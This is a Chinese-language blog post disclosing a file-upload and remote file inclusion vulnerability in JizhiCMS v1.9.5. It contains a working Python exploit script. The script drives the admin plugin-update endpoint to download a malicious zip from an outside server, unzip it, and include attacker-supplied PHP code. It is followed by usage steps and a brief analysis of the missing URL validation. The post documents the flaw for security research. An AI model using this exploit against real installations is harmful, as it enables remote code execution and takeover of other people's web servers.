HacKerQWQ的博客空间

极致cms v1.9.5文件上传漏洞

Word count: 469Reading time: 2 min
2021/11/15 Share

环境搭建

项目地址:https://gitee.com/Cherry_toto/jizhicms/releases/v1.9.5

创建了test/123456用户

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

burp0_url = "http://192.168.119.132:8080"
burp0_cookies = {"token": "2309072205", "PHPSESSID": "lvpfr6r8n899kimmrn7danl0b5"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


def attack():
# 上传test.zip用于解压
url0 = burp0_url + "/admin.php/Plugins/update?filepath=path&download_url=http://101.35.156.126:8000/test.zip&action=start-download"
r0 = requests.get(url0, headers=burp0_headers, cookies=burp0_cookies)
if r0.text.find("update_path.zip") != -1:
print("压缩包文件上传成功")
# 解压test.zip
url1 = burp0_url+"/admin.php/Plugins/update?filepath=path&action=file-upzip"
r1=requests.get(url1,headers=burp0_headers, cookies=burp0_cookies)
if r1.text.find("解压完毕") != -1:
print("压缩包文件解压成功")
# 包含PluginsController.php
url2 = burp0_url+"/admin.php/Plugins/update?filepath=path&action=plugin-install"
r2=requests.get(url2,headers=burp0_headers, cookies=burp0_cookies)
if r2.text.find("phpinfo()") != -1:
print("远程文件包含成功")

if __name__=='__main__':
attack()

登录之后将PHPSESSID换掉,在vps上放置一个test/PluginsController.php,里面包含恶意代码,运行之后访问这个链接就可以了

1
/admin.php/Plugins/update?filepath=path&action=plugin-install

image-20211115200942434

漏洞分析

问题出现在插件安装处

1
A/c/PluginsController.php

image-20211115201210486

action为start-download时下载插件,此处没有对$remote_url进行校验,可以直接利用用来下载恶意压缩包

image-20211115201350950

action为file-unzip对压缩包进行解压到A/exts/

image-20211115201457096

当action为plugin-install时,对PluginController.php文件进行包含,恶意代码成功包含

CATALOG
  1. 1. 环境搭建
  2. 2. exp
  3. 3. 漏洞分析